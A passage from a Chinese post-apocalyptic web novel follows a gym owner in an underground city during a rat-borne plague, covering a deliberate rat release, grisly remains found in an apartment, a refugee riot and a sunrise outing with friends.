出入口附近依旧有很多过来看病的秋市人，他们都被赶到了地面上，大家都很小心地避开了他们,生怕他们忽然“发疯”攻击自己。 因为有些人的伤口实在是太恐怖，路过他们的时候，一部分人的视线甚至不敢往他们身上扫…… 秦小薇和几个教练也小心地绕过了他们。 地面上停着好几辆大卡车，车上堆满了各种物资，食物、衣服、鞋子、各种快消品……车上的东西很杂。 车上还放着几个硬纸板，纸板上标着价格，和超市的价格差不多，比同城APP上便宜很多。 按理说，这个价格，应该会很受欢迎，但车子附近并没有多少人买东西。 其中一辆车边上放着一个长椅，上面躺着一个中年女人，她露在外面的皮肤上长满了红斑，一看就是感染了病毒的。 听车主的交谈声，也能听出他们在说秋市的方言。 周围有人想去买车主的东西，还会有路人拦着，说他们卖的东西上面，可能会沾着病毒…… 几个车主对提醒的路人怒目而视，还有人提着棍子吓唬人……路人是被他们吓跑了，但顾客也同样被吓跑了。 教练们看到长椅上躺着的女人后，也停住了脚步。 周文：“天上果然不会掉馅饼，咱们回去吧！” 店里其他几个教练也不想买秋城出产的东西，纷纷点头。 下午的时候，秦小薇在同城APP上刷到了这事的后续。 网上，有网友发帖避雷那几个车主，还挂出了他们的车牌号，号召大家别去买他们的东西；还有个车主注册了账号，在同城APP上发帖解释他们卖东西的原因。 车主一家四口，女儿已经病死了，儿子和老婆也感染了病毒，实在是在秋市那边没活路了，他才带着所有的家当，来宁市求医。 他们辗转找到了一个医生，说是可以给他们的家人治病，但是那位医生不要物资，只收新币，他们没办法，这才把带来的物资“贱卖”了。 那位车主还再三解释，他们卖的东西上没沾病毒，都是正规工厂里生产出来的…… 澄清贴下面，有人可怜他们，说会光顾他们的摊子。 还有人说那位医生肯定是骗子，地下城医疗物资管控得很严，让他们别相信那个医生，毕竟执法人员只管地下城这一亩三分地，他们要是被骗了钱，报警都不一定有人理他。 还有人说东西就算被老鼠爬过了，买家也不知道，还不是任凭卖家一张嘴说得天花乱坠，让他们快滚，不要把病毒带来宁市…… 帖子发出来没多久，评论区的回复就过千了，非常热闹。 不过地下城人口基数摆在这，那些物资只有几车 ，地下城随便一条街的住户就能包圆。 下班前，秦小薇看到有网友发帖说，出入口那几辆车上的物资已经快要卖完了。 虽然车主在帖子里把自己一家说得很可怜，但秦小薇还是叮嘱店里的员工谨慎一些，尽量不要买外面的食物……毕竟那病毒是真的折磨人，没必要为了贪一点小便宜，冒这么大的险。 晚上下班回富人区后，秦小薇发现别墅区周围多了不少陌生人，和邻居们打听了一下，她才知道，原来是有人在家里发现了老鼠，找了生物公司的人过来驱鼠。 其实之前预警短信还没发出来的时候，就有人和秦小薇一样，提前得到了消息，做了许多准备，但老鼠出现之后才发现，之前做的准备还有漏洞——他们之前在通风管道外面加了金属网防老鼠，但今天，有住户发现金属网的边缘被老鼠咬开了。 和邻居们交谈完之后，秦小薇也有点担心，自己家里会出现老鼠。 到家后，她没急着吃饭，而是调整了一下家里的家具，尽量做到“一览无余”，不留任何藏匿老鼠的死角。 至于一些可能会藏老鼠的家具，则被她送进了空间里。 之后，她还检查了一下家里通风管道上的金属纱网，见它们都是完整的，她才松了口气。 检查到一半，陆昼来送晚饭和车钥匙了。 之前开车出门碰到绑匪的时候，车子被后面的人撞了一下，车门还被她自己踹变形了，车门都关不上了。 陆昼便找人帮她修了车，今天终于修好了。 秦小薇接过钥匙，道了句谢。 陆昼：“就只是嘴上说谢谢？” 秦小薇想了想：“那我再请你吃一顿披萨？” 陆昼依旧不是很满意：“就只有一顿披萨？” 秦小薇：“这个不一样！” 她看了眼陆昼带来的饭菜，今天是鱼汤、小葱拌豆腐和青菜，虽然有荤有素，但是看上去依旧十分清淡。 秦小薇：“先吃饭吧！吃完了带你去看披萨！” 听她这么说，陆昼挑了下眉，倒是没再挑刺。 陆昼：“你的伤口是不是该换药了？” 秦小薇：“好像是，待会我自己换吧！” 前两次换药都是去医院换的，秦小薇还以为医生会给伤口弄点促进愈合的药粉药膏什么的，去了两次才知道，医院换药就只用棉球蘸着碘伏给伤口消几次毒，然后换块纱布就完了。 关键是，换一次药收她四百新币！ 秦小薇觉得，这钱完全没必要花。 陆昼：“要我帮你吗？” 秦小薇：“不用，家里有镜子。” 闻言，陆昼也没坚持。 吃完晚饭后，秦小薇把餐盒扔进洗碗机里，之后，她就带陆昼进空间里看披萨了。 她带着陆昼进了一间院子，院子里，放着四张拼在一起的长方形桌子，桌子上空空荡荡。 秦小薇：“看好了，别眨眼啊！” 她打开仓库，片刻之后，桌上出现了一个直径六米的巨型披萨，几乎把整个院子都占据了！ 空气中，顿时充斥了面包和芝士的香气。 陆昼：“你做的？” 秦小薇：“我哪有这么大的烤箱？前段时间，农场升级奖励的装饰品，本来打算摆着好看的，没想到竟然可以吃……” 秦小薇拿了把刀出来，先切了巴掌大的一块自己吃，之后又把刀递给陆昼：“你自己切，想切多少切多少！” 陆昼：“……这么大一块，你吃得完吗？” 秦小薇：“我算了下，大概可以吃三百多顿……就是不知道频繁拿出来，放久了会不会坏？等我有时间，把它们分装一下吧！” 陆昼：“……” 因为吃过晚饭了，陆昼也没切多少，他和秦小薇一样，切了巴掌大一片尝了味道，就准备离开了。 临走之前，他忽然开口道：“Q大那边的房子都收回来了，你明天要不要去验收一下？” 秦小薇惊喜道：“真的吗？太好了！我明天就过去！” 陆昼：“好，那我明天过来接你！” 说完，他不等秦小薇的回复，就大步离开了。 秦小薇：“……”她好像没说要和他一起去看房子吧？ 算了，一起就一起吧！要是再碰到上次的事，还能有个照应！ 因为那些老鼠会咬坏纱窗，担心老鼠跑进来，秦小薇只有待在屋里的时候，才会开窗通风，其他时候，都是人走关窗。 第二天早上，秦小薇一开门，就看到了陆昼，他戴着一副黑色的蓝牙耳机，正在和什么人开电话会议，手里还牵着狗绳。 拉布拉多正无聊地绕着他转圈圈，狗绳是那种可伸缩的，陆昼整个人，都快被狗绳捆起来了…… 秦小薇出来后，拉布拉多立刻兴奋地朝着她跑了过来，狗绳在陆昼身上绕了好几圈，他没反应过来，差点被香肠冲刺的动作带得摔倒。 陆昼：“香肠，坐下！我没事，你们继续说……” 解开狗绳后，他直接把狗绳塞进秦小薇的手里：“帮我牵一下！别让它乱跑，附近有很多老鼠药……” 秦小薇：“你要是忙的话，我也可以自己一个人过去！” 陆昼扶了下摇摇欲坠的蓝牙耳机：“我不忙！” 秦小薇：“……”早上七点就开电话会议，还不忙吗？ 算了，随他去吧！ 上车之前，陆昼结束了电话会议，主动上了驾驶座。 秦小薇和他说起了上次被当成夹心饼干围住的事：“……你说，我是不是该练练车技了？” 要是换成陆昼，那些人估计没机会和他动手…… 陆昼：“不练也行，你现在的车技够用了。” 秦小薇：“你这是在夸我？” 陆昼：“从哪听出来的？” 秦小薇：“……” 秦小薇不再理他，转头看窗外的风景，路上已经看不到积雪了，某些地段，还能看到戴着安全帽的工人正在施工。 很多安全屋都被拆得七零八落，损坏得太厉害的零件被留在原地，稍微完好一些的，几乎都被运走了。 公寓楼附近，依旧能看到一些零星的行人，他们穿得破破烂烂，身上脏到几乎看不出原本的肤色，头发也乱糟糟的。 秦小薇打量着他们身上的穿着，皱眉：“陆昼，你不是说房子都清出来了……” 陆昼应了一声：“这些人都是流浪汉。” 秦小薇：这流浪汉的数量……是不是太多了点？ 公寓楼里确实空空荡荡的，一个人都没有，电梯已经停运了，他们是走楼梯上去的。 秦小薇原本是带了钥匙过来的，但她上楼后，发现根本就用不上钥匙。 公寓楼和健身房的门锁都被破坏得很彻底，屋里很臭，和之前高温时候的商场不相伯仲，秦小薇进去后做的第一件事就是开窗通风。 健身房多了好几排火炕，火炕才建了两年，却已经脏得看不出原本的颜色了。 原本雪白的墙面，完全成了黑色的。 秦小薇只能庆幸，自己接手健身房的时候，只做了简单的装修，并没有投入多少钱，临走的时候，还把店里的器材都搬走了。 她当时要是花了大价钱装修，这会儿估计得心疼死！ 她拿出手机，录了几个小视频，打算回地下城之后，找专业的人问问，这些东西该怎么拆、后面又该怎么重新装修…… 录完视频后，她冲着陆昼喊道：“陆昼，我好了，可以走了！” 陆昼：“我去楼上看看奚川的房子……” 秦小薇：“行。” 奚川家也被糟蹋得面目全非，不过他离开的时候，并没有把所有的东西都搬走，还留了一部分家具在屋里。 不过此时，都不能看了…… 秦小薇：“真可惜，这么好的柜子，被糟蹋成这个样子……” 她话还没说完，拉布拉多就冲到柜子前，对着柜子“汪汪”叫。 她和陆昼对视一眼，两人的表情都变得严肃起来。 陆昼戴上皮手套，拿出后腰的手枪，主动上前，站到柜门边上，又示意秦小薇站到他身后，才猛然拉开了柜子。 “砰——”柜子里的东西，掉了出来。 秦小薇看到柜子里掉出来的东西后，只觉得一股寒气从脚底板冒了上来。 柜子里，是大块大块的风干肉，可能是因为保存不当、处理手法太过粗糙，这些肉已经开始发臭生蛆了。 但看他们的形状，秦小薇也能辨认出，这些肉，是属于人类身体的某些部位，而且是属于小孩的！ 陆昼又拉开其他的柜门检查了一下，其他的柜子里，大多是空的，只除了一个柜子，里面装着一块块形状几乎差不多的骨头。 就算秦小薇不是学医的，但她只看那些骨头的形状，也知道它们属于人体的同一个部位！ 只不过是从不同人身上摘下来的！ 吃完人，还要从人家身上搞一块骨头下来当纪念，这也太变态了！ 不怕半夜做噩梦吗？不过他们都敢吃人了，估计也不会在乎这些！ 秦小薇：“之前住在这里的人，能找到吗？” 陆昼点头：“系统里应该有记录……” 说着，他拿出手机，对着现场拍了好几张照片，又编辑了几条信息，连带着照片一起发了出去。 陆昼：“我们先回去吧！这里会有人来处理的……” 秦小薇点点头，牵着两只狗就要离开。 下楼的时候，秦小薇问陆昼：“原本住这里的人，会受到惩罚吗？” 陆昼应了一声。 回去之后，秦小薇就开始着手找人打扫卫生、重新装修健身房了…… 忙碌了好几天之后，某天下午，她正准备去健身房看看，却在出门前，在群里看到了范槿的语音消息。 【范槿：薇薇、琳琳，你们关好门！千万别开门！】 【范槿：我同事说，有人从秋市运了一车老鼠过来，把笼子打开了就往地下城扔！就在十三号门那边！】 【秦小薇：？？？】 【秦小薇：疯了吗？】 秦小薇果断收回了即将迈出的脚，她先反锁了大门，又楼上楼下跑了一遍，检查门窗的密封性，检查门窗的时候，她还不忘拿出手机，给健身房的员工打电话，提醒她们店里暂时歇业…… 她刚挂断电话，陆昼的电话就打了进来，说的也是有人往地下城扔老鼠的事。 事情才发生不久，但同城APP上已经有人发帖说这件事了。 司机他们放老鼠的时候，出入口周围有很多人，有人被吓得到处跑；还有人见大部分老鼠还在笼子里没被放出来，便跑过去阻止他们，然后被咬得浑身都是伤…… 出入口执勤的工作人员，有的在组织大家疏散，还有人在关大门，免得更多的老鼠跑进来。 因为地下城通风比较差，大家搬进来以后，出入口的大门几乎没关上过。 跑在后面的人，见工作人员要关大门，便跟疯了似的，要往地下城涌，工作人员则拿着大喇叭，让他们绕去其他门回地下城。 现场十分混乱…… 好在，对方只运了一车老鼠过来，再加上当时有很多人出面阻止他们，对方人手不够，并不是所有的老鼠都被放出了笼子，局面很快就得到了控制！ 那几人也被抓住了。 不过，现场还是有不少人被老鼠咬了，还有人在逃跑的时候受了伤。 病人太多，医院很快人满为患。 见多了门口那些求医的病人，很多人都很担心自己会和门口那些人一样，出现各种可怕的症状，最后不治而亡…… 好在，医院的医生护士还算靠谱，很快就站出来告诉他们，他们打了疫苗，就算真的感染了病毒，病死率也很低。 之后，巡逻队还组织社区的人，进行了轰轰烈烈的灭鼠行动。 事情从发生到解决，也就几个小时的事。 见事情都解决了，秦小薇松了口气，她打开宿舍群，在群里发了条消息。 【秦小薇：饭饭，你和阿霞现在怎么样？】 【范槿：我在办公室写宣传稿。】 【范槿：[图片]】 【范槿：阿霞带队出外勤了，我看群里说她去监督江安区那些人种地了。】 地下城数百万人，每天消耗的粮食数量是巨大的，虽然地下城设有种植区，家家户户也能领到免费的种子，可以自己在家里种点容易成活的蔬菜。 但一年前经历过食物不足的危机后，现在高层个个都有“食物不足恐惧症”，外面水退、土地化冻之后，江安区监狱里的犯人就全被赶了出去，市政让他们在郊区开垦土地，种植红薯玉米之类产量大的粮食。 除此之外，之前在地下城躺了两年的各种大型农用机械也全都撒了出去，几乎是日夜不停地“服役干活”。 官方还向三个安全区的普通人派发了种地任务和城市重建任务，官方不给工资，但是会管饭，菜里还能看到荤腥，比犯人的伙食好很多。 【秦小薇：啊？阿霞怎么去江安区了？她被调过去了吗？】 【范槿：应该没有……好像是她们刚好在江安区掏老鼠洞，那边出了事，人手不够，她们就被拉去当壮丁了，具体的我也不清楚。】 【范槿：健身房还好吧？没进老鼠吧？】 【秦小薇：没有。】 【秦小薇：这些老鼠不怕人，应该很快就能抓到。】 【段霞：也不一定，老鼠智商高着呢！多抓几次，它们见到人也会躲……然后等晚上大家都睡了，就出来咬人！】 【段霞：我们队有个队员的妈妈，就是睡觉的时候被老鼠咬掉了半个脚趾。】 【肖琳琳：这么可怕的吗？那我以后出车，晚上睡觉可得小心一点！路上可没地下城这么好的医疗条件……】 【肖琳琳：薇薇，我收到了消息，说车队下周出车，你可以联系人准备路上的物资了！】 【秦小薇：OK！】 【秦小薇：最近温度比较高，不能像以前一样准备料理包了，我多弄些腊肉火腿肠！】 【肖琳琳：有肉就行！我们不挑！】 【范槿：阿霞，我看到群里说江安区发生了暴乱，死了好多人，是不是真的啊？】 【段霞：是！新搬来江安区的那批难民绑了地下城一个小姑娘，把人家给煮了吃了，然后被她爸妈找到田里来了。】 【段霞：刚开始就只是他们两方吵，吵着吵着，那些难民忽然开始嫌弃咱们宁市给的待遇差，就和管事的动手了，还拿刀砍人……江安区那边人手不够，就找我们求助……】 【段霞：那些难民真的好嚣张！我今天一梭子子弹都打完了，队里还有好几个人受伤了……】 第135章 第135章日出（双更合一）…… 【肖琳琳：我还以为低温结束,江安区那边的情况能好一点，没想到……还是老样子啊！】 【范槿：嫌弃待遇差，他们其实可以走的……零个人想让他们留在宁市,每次派车给他们送能量饼干的时候还得安排人护送车子,免得物资被抢了,简直是在浪费我们的资源……】 【段霞：是啊！他们麻烦死了！】 几人在群里吐槽了一会那些难民，没过多久,范槿又在群里分享了她在其他群看到的八卦。 【范槿：家人们！那车老鼠的事更新了！】 【范槿：你们还记得最开始在同城APP上发帖卖物资的那个秋市人吗？那车老鼠就是他和其他人合伙一起拉来的！】 【范槿：听说他遇到了骗子,老婆儿子最后没救过来，一家四口,现在只剩他一个了，因为他老婆儿子是在宁市没的，他就把这笔账算到了我们头上,说地下城如果一开始就安排医生给他们看病,他的家人就不会死……】 当时这件事在同城APP上闹得很热闹，她们还在群里讨论过这个瓜，时间过去不久,四人对这件事都还有印象。 【秦小薇：当时帖子里就有人提醒了他吧？说他可能遇到了骗子，但他好像没在意……】 【肖琳琳：咱们宁市要是真的放开了地下城的医院让他们住,秋市的病人估计会一股脑全跑过来！本来人就多,再来一批带病毒的……我都不敢想，最后事情会变成什么样！】 【段霞：唉！咱们宁市也是挺倒霉的！】 很快，市政也公布了这件事的调查结果,和范槿打听到的八卦大差不差。 出入口的人流量很大，虽然骚乱只发生了一会，但还是有近千人因此受伤。 他们中，有些人是被老鼠咬伤的；还有些,则是在逃跑的时候踩踏、撞击、摔倒受伤的。 好在大部分人的伤都不严重，医生护士处理过后，他们就可以回家了，需要住院的病人极少。 调查结果公布之后，地下城的普通人对秋市那些外来者愈加排斥，有人跑到市政门口送自己的手写信，让市政派人把秋市那些人赶走，不准他们靠近地下城；还有人自己动手，纠结了一群本地人，把他们赶得远远的，不准他们守在出入口附近…… 那位车主之前发的卖货贴也被翻了出来，帖子里同情过他们一家的网友，被网友们挨个找出来“鞭尸”，说他们有“圣母病”…… 还有个网友因为在网上和人吵架，在现实中的身份也被人扒了出来，还被爆出了和自己的继母偷情…… 在伤员们的伤好之后，线上还一直有人因为这事吵架。 秦小薇也跟着吃了不少瓜，连带着她的睡眠时间都减少了——她最近要忙健身房重新装修的事，白天几乎都不在地下城，只能晚上回来的时候吃瓜。 陆昼也在替奚川忙公寓楼装修的事，秦小薇几乎每天出门都能碰到他。 陆昼这家伙醉翁之意不在酒，他们去公寓楼的时候，陆昼很少留在九楼，监督九楼的装修工人干活，大部分时间，他都待在六楼。 见秦小薇帮着装修师傅干活，他也跟在边上帮忙，时不时还给她请的师傅搞点烟酒肉之类的福利，让人家对店里的活多上点心，十分殷勤的…… 秦小薇觉得，奚川要是知道他朋友这么“帮忙”，他估计会暴打他一顿。 她脸上的伤口渐渐愈合了，因为用的是可吸收缝线，伤口并不需要拆线。 因为陆昼的监督和投喂，她这段时间很注意，但伤口愈合过后，还是在脸上留下了一道比较明显的浅粉色的疤。 不过，她要是想遮的话，用点粉底液、遮瑕膏，也能遮住。 医生说可以用科技手段除疤，不过整个地下城，就只有富人区的医院有这技术，那价格，自然也十分昂贵，要健身房好几个月的利润。 价格太贵，秦小薇决定再等等，看看过段时间，疤痕能不能自己变浅，毕竟人体还是有自我修复功能的，要是这疤后面变得不太明显，她就不管它了…… 这几天，除了忙重新装修的事，秦小薇还得给车队准备路上的物资、给健身房招聘新员工……可以说是非常忙了！ 确定公寓楼里的尸体和人骨都处理完之后，秦小薇还在业主群里发了条消息，提醒他们， 可以搬回去了。 秦小薇重新装修的时候，公寓楼其他的房主，也找了人重新装修。 家里比较拮据的，就把房子打扫一遍就完事；稍微讲究一点的，还会把墙皮铲了，重新粉刷；手上有点钱又比较注重生活品质的，则和秦小薇一样，把家里砸了，找人重新装修…… 公寓楼也渐渐变得热闹起来。 Q大那边也多了很多学生，部分学生，开始每天来往于地下城和Q大，来这边上课——地下城寸土寸金，相对于学生的总人数来说，学校可以说是又小又拥挤，很多教学工作都没法展开，学生们连体育课都没法上。 秦小薇从陆昼那得知，除了学生，部分研究机构也搬回了Q大。 这两年，某些重要的科研人员，宁市的财政一直出钱养着，部分科研项目，也一直没有停。 因为粮食一直握在自己手里，再加上手里有军队，地下城还有一个兵工厂……地面上的难民很快就被转移到了江安区。 虽然过程不是那么愉快，中途也死了不少人…… 这天晚上，秦小薇洗完澡之后，靠在沙发上，闭着眼睛，任由肩颈按摩仪不断揉捏自己脖子上的肌肉。 在健身房干了一天活，她身上有点酸痛。 按摩还没结束，她的手机就响了起来。 她白天在网上发了招聘信息，有人打电话过来，想要面试，和对方约好了面试时间后，宿舍群里又有消息弹了出来。 【段霞：我发现了一个看日出的好地方，明天周末，我放假，你们约不约？】 【肖琳琳：可以啊！我下周要出车，之后估计要好几个月才能回来，赶在出车之前，咱们最后聚一次！】 【范槿：约约约！刚好我妈给我安排了相亲，我可以逃了！】 【秦小薇：只看日出的话，我应该有时间！】 【秦小薇：我十点约了几个面试，十点之前要赶回来！】 【段霞：十点之前肯定能赶回来！那我们明天一号门集合？】 【段霞：薇薇，你的车还能开吗？开车过去快一点！】 【秦小薇：可以！】 【秦小薇：我明天直接把车开到一号门，你们在大路牌那等我！】 因为要看日出，秦小薇第二天特地定了个四点半的闹钟，地下城还没开灯，她就牵着朔月出了地下城。 出门之前，她还不忘检查一遍家里的各个通风管道，外加牵着狗，在家里转一圈。 前两天，她在厨房做饭的时候，朔月自己开了客厅的大门去院子里玩。 就那么一会，就有两只老鼠从门缝里溜了进来。 她从厨房出来的时候，就见朔月嘴里叼着一只老鼠，爪子还不断往沙发底下扒拉…… 想到邻居们在富人区投放的老鼠药，秦小薇看到朔月嘴里的老鼠后，差点发出尖锐的爆鸣。 连忙冲过去掰开德牧的狗嘴，把老鼠从它嘴里弄出来，还狠狠教训了它一顿，让它以后不准随便咬“脏东西”。 但她说到一半，它就冲了出去，用爪子按住了另一只从沙发底下蹿出来的老鼠…… 秦小薇发现，朔月虽然身体不像猫咪那么柔软娇小，但抓老鼠的技术，一点都不比猫差。 从那之后，她每天都要带着朔月在别墅里转两圈，让它闻闻，家里有没有“入侵者”，不过她每次都牢牢牵着狗绳，生怕朔月闻到了老鼠的味道会自己上。 家里的大门，她到家后也会手动反锁，不让它有自己开门的机会…… 凌晨四点四十，月亮依旧高悬天空，秦小薇到一号门附近的时候，周围格外安静，就连卖早餐的摊主，都还没出摊。 可能是因为起得太早了，范槿三人蹲在路边，一个接一个打哈欠。 上车后，肖琳琳霸占了朔月的座位，强行把它抱进怀里：“好困啊！薇薇，我先补个觉，到地方叫我！” 秦小薇：“今天外面怎么这么安静？秋市那些病人，真的都被赶走了！” 段霞：“没被赶走，都去江安区那边了！” 秦小薇：“啊？” 段霞解释道：“江安区那边这两天设了个医疗点，可以让外来者自费看病！” 秦小薇皱眉：“那秋市的人不会都跑过来吧？” 段霞：“应该不至于都赶过来，那个医疗点简直抢钱，据说收费和富人区的医院差不多！你们知道富人区的医院吧？听说那边随便挂个号，就要四位数……随便一个小病，进去不脱层皮就出不来！” 秦小薇想到了前段时间跑医院的经历。 脱层皮不至于，但看病是真的贵！她就胸口撞了下拍了个片子，外加处理了一下脸上的伤口，就花了五位数。 公租房那边的医院，最多四位数就能解决，但那边的医生，估计也不会给她做这么细致的美容缝合…… 范槿：“上面给我布置了任务，我还开了好几个小号在秋市的同城网上发帖宣传这件事，特意强调了费用的问题……手上没物资的估计不敢过来！” 秦小薇：“那这也算个好办法，不仅给他们设置了障碍，还把麻烦引去了江安区……” 她们的目的地是宁市郊区的一座山，之前，这里就有很多驴友会过来爬山看日出，天灾这几年，这里的植物几乎全都枯死了，枯树也被砍得七七八八，变得光秃秃的，这座山也算是荒废了。 路上开车的时候，她们没碰到多少人，等到了山脚下，她们却看到了好几辆大巴车，且每辆大巴车都坐满了人，秦小薇这才发现，组团过来爬山看日出的人还挺多的。 两年多的极寒天气之后，地下城的普通人对于各种户外活动都十分热衷，尤其是这种和阳光相关的……现在这种情况，似乎也很正常！ 低温结束后，地下城的住户，几乎都专门出去看过日出和日落，有些快被关疯了的，还去了不止一次。 同城APP上，每天一到日出和日落的时间，就有一堆人分享日出和日落的照片…… 四人停好车之后，就开始打着手电筒爬山，暴雨之前，山脚有一条石板路直通山顶，但是地震把这条路毁了大半，上山的路变得格外崎岖。 但这些日子，不断有人上上下下看日出日落，也算是被大家踩出了一条路。 只要不是碰到下雨天，上山的路倒也没那么难走。 四人体力都很好，脚程也快，很快就赶上了其他人，秦小薇发现，他们前面竟然有不少人。 这些人该不会不到四点就 爬起来了吧？ 秦小薇：“这座山这么火吗？” 段霞：“要不是石板路被毁了，估计来的人会更多！咱们学校的图书馆，这几天也有超多人去顶楼打卡看夕阳！据说那边也是个特别棒的打卡点，不过现在学校里进不去，图书馆早上八点才开门，大家只能去看日落……” 肖琳琳：“我毕业前应该去看一次日落的，错过了，可惜啊！” 秦小薇：“咱们毕业那会，刚好赶上高温，那时候因为高温，毕业生连工作都找不到，大家恨不得化身后羿，把天上的太阳射下来……那时候，琳琳你就算知道，估计也没心思去看日出、看夕阳。” 范槿：“薇薇，你不说我都忘了！明明也就两年多前的事，我怎么感觉像是上辈子的事？” 秦小薇：“估计是这两年发生的事太多了，让你有种时间很漫长的感觉。” 四人说说笑笑，很快就到了山顶。 担心错过日出，她们是提前出发的，再加上她们速度快，四人到山顶的时候，天还是黑的，月亮依旧在云层中若隐若现。 四人找了块大石头坐下等日出。 秦小薇：“你们吃东西吗？” 范槿：“吃！薇薇，你带了什么？” 秦小薇：“煎饼！牛肉笋丁馅的！” 说着，她打开背包，从包里拿出几袋煎饼，担心油把背包弄脏，煎饼外面套着好几层塑料袋，在袋子里捂了一路，煎饼已经有些软了。 但打开袋子之后，煎饼的油香味依旧让人直吞口水。 段霞有些惊讶：“薇薇，咱们今天这么早出发，你竟然还有时间做煎饼？” 秦小薇：“昨天晚上做的，早上洗漱的时候，用烤箱热了一下……饼放软了，没刚出锅的时候好吃了，你们不要嫌弃！” 段霞：“谁说的？明明特别香！” 肖琳琳：“我自己配了电解质水，你们要喝吗？” 范槿：“嘿嘿，我也带了！” “……” 几人吃着煎饼等日出，天光渐渐变亮，破晓之后，不过短短几分钟，太阳就破云而出，连带着周围的云层，都被染成了金色。 “出来了！太阳出来了！” “好漂亮，快给我拍张照！” “这里是最佳打卡点，大家排队！” “……” 山顶上站满了人，看到日出之后，众人忍不住激动地欢呼起来。 秦小薇在空间里看到过无数次海上的日出日落，但和这么多人一起看日出，还是第一次。 看到大家这么激动，她的心情也变得激荡起来。 晨风吹在脸上，她的脸上不自觉带了一抹笑。 希望地下城也能如眼前的太阳一般，冲破黎明前的黑暗！ 太阳出来之后，众人在山顶吹了会风，就陆续下山了。 下山的路比上山难走——很多人来山上看日出，人太多，道路狭窄，她们被堵路上了。 上山的路，她们只花了不到一个小时，下山的路比上山好走，她们却硬是花了一个半小时才下山！ 好在她们出发得比较早，秦小薇还是赶在十点员工面试之前回了地下城，不仅如此，她还在办公室里补了个觉…… 一转眼，时间过了一个月，公寓楼那边的房子重新装修好了，员工也招好了，新招的员工，秦小薇让她们在地下城培训了大半个月。 健身房有些教练倾向于回公寓楼那边，还有些教练，因为家人都在地下城，选择留在地下城上班。 秦小薇尊重她们的意愿，给了之前的老员工充分的选择权。 老店重新营业后，秦小薇还搬回了公寓楼，毕竟是重新开业，她打算等公寓楼这边的健身房正式上了正轨，再回地下城。 肖琳琳的车队也出发了，因为低温已经结束了，一路上，他们的电子设备都可以正常使用，秦小薇几乎隔几个小时，就能在群里看到他们更新的、路上的信息。 随着时间的流逝，鼠灾已经扩散到整个Q省，但Q省的鼠灾却不是最严重的，隔壁省，因为病毒，地下城一个月之内死了近一半的人。 倒下的人太多，尸体来不及处理，又滋生了新的病毒，可以说是恶性循环…… 车队知道那边的情况后，更是不敢靠近，重新规划了路线，打算绕过那片区域继续前进。 一路上，车队比之前低温的时候更加谨慎，之前低温的时候，他们是要防范低温会带走车队成员的生命。 现在出车，他们要防备路上随时都可能冒出来的劫匪、老鼠，以及那些肉眼完全无法分辨的病毒，免得自己倒在路上回不来…… 地下城这一个月的情况倒是还好，市政和社区都组织了工作人员定期更换老鼠屋里的饵料，官方的灭鼠行动也从未停止。 因为周围的城市一直有老鼠跑过来，虽然宁市现在依旧有很多老鼠躲在暗处，但根据模型数据显示，老鼠的数量在达到一个高峰后，现在正在逐步降低。 他们之前从风城运回来的那些药品生产线，几乎是24小时不间断运行，生产出来的疫苗和药品，他们宁市自己消耗得不多，大多数都供给给了省内的其他城市，用于置换其他城市的特产资源。 宁市当地的生产原料不够，每天，省内其他城市都会派人送来一车又一车的原料。 用陆昼的话来说，就是机器都快干出火星子了，但生产出来的医疗物资还是不够用。 健身房重新开张的第二天，陆昼在公寓楼的楼道里碰到了牵着狗的陆昼。 秦小薇有些惊讶：“你怎么在这？” 陆昼：“别墅区老鼠药太多了，我带香肠来这里避一避！” 秦小薇：“……” 别墅区确实有很多老鼠药，但这里投放的老鼠药也不少啊！再说了，他的别墅可是前后都带院子的，他就算不遛狗，也能把狗放在院子里自己玩。 但公寓楼楼上楼下都是人，吵闹得很，对香肠来说，晚上估计会睡不好！ 秦小薇知道他过来的目的，但也没点破，转而道：“奚川的房子这么快就装修好了？没全屋翻新，重新装修？” 她记得，他家柜子里之前可放了不少风干人肉和人骨…… 陆昼：“我和他说了，之前有人在屋里杀过人，煮过人肉，这房子他就不想要了，然后我就接手了。” 秦小薇：“……” 简单聊了几句，秦小薇就回去了，中午的时候，陆昼找了过来，以新家没有餐具为由，强行包揽了做饭工作，还在她这蹭了一顿饭。 晚上的时候，她打开同城APP，正打算看看今天有没有什么新的八卦，就见首页多了一条热门帖子。 帖子的主人说他是市政某个部门的工作人员，今天风城那边来人了，说是要和他们讨回之前从风城搬过来的生产线，还和他们宁市索取赔偿，现在一堆人在办公室里开会，吵得不可开交…… 评论区，有人怀疑帖主是在编故事，还有人则很担心，市政会妥协，乖乖把生产线送回去。 大家都知道，宁市现在充足的物资供应，是什么带来的…… 第136章 第136章（双更合一） 秦小薇翻了下评论区,想知道更多的细节，但是贴主发完帖子就消失了，评论区只有网友们的讨论…… 她想了想,牵起了狗绳,打算去楼上问问陆昼。 他肯定知道！ 秦小薇敲门后,听到了门内的狗叫，但她等了好一会,才等到陆昼过来开门。 看到陆昼的状态,秦小薇有些不自在：“你、你在洗澡啊？” 他身上套着浴袍，头发还在滴水,脖子上的泡沫还没冲干净，一看就是洗到一半，急匆匆套上浴袍出来开门的…… “嗯。”陆昼开门放她进来,从鞋柜里给她拿了双拖鞋,“换鞋。” 秦小薇低头看了看，是双全新的浅绿色居家拖鞋，刚好是她的码。 他把手上的枪扔在茶几上,转身朝着冰箱的方向走去。 秦小薇四处看了看，虽然前面一个多月她和陆昼都在忙装修的事,但因为楼层不同,她从来没上来过，和她上次来的时候相比，屋里只是变干净了一些、搭的火炕被拆了,并没有添太多的家具。 之前发现了尸体和人骨的柜子甚至都没拆…… 秦小薇指着那排柜子问他：“那柜子，你还在继续用？” 不觉得瘆人吗？ 陆昼顺着她手指的方向看了过去：“消过毒了。” 秦小薇：“……”装过尸体和人骨的柜子，消过毒就能继续用了？ 这家伙的胆子可真大！ 陆昼打开冰箱门，也没问秦小薇喝什么,直接拿了一瓶水扔给她。 秦小薇自己在沙发上找位置坐下：“我看到网上有人发帖说，风城那边来找我们要药和疫苗的生产线，是真的吗？” 陆昼应了一声。 见他情绪似乎没什么波动，秦小薇立刻放心了。 秦小薇：“你们有应对的方法了？” 陆昼：“不知道。” 秦小薇：“……” 陆昼解释道：“懒得听他们吵架，我就没掺和这事……” 秦小薇：“你就不担心吗？” 陆昼坐到她身边，撑着脑袋看她，他发丝上的水滴落到沙发上，氤氲出一小片暗色的痕迹。 陆昼：“担心什么？肉都吃到嘴里了，难道还会吐出来吗？不管他们怎么吵，结果都不会变，我又何必陪他们浪费力气？这事其他人会处理好的… …” 秦小薇：“……那你继续洗澡，我不打扰了。” 她正要起身，陆昼却按住了她的肩膀，阻止了她的动作，陆昼凑近了一些，眸色有些深。 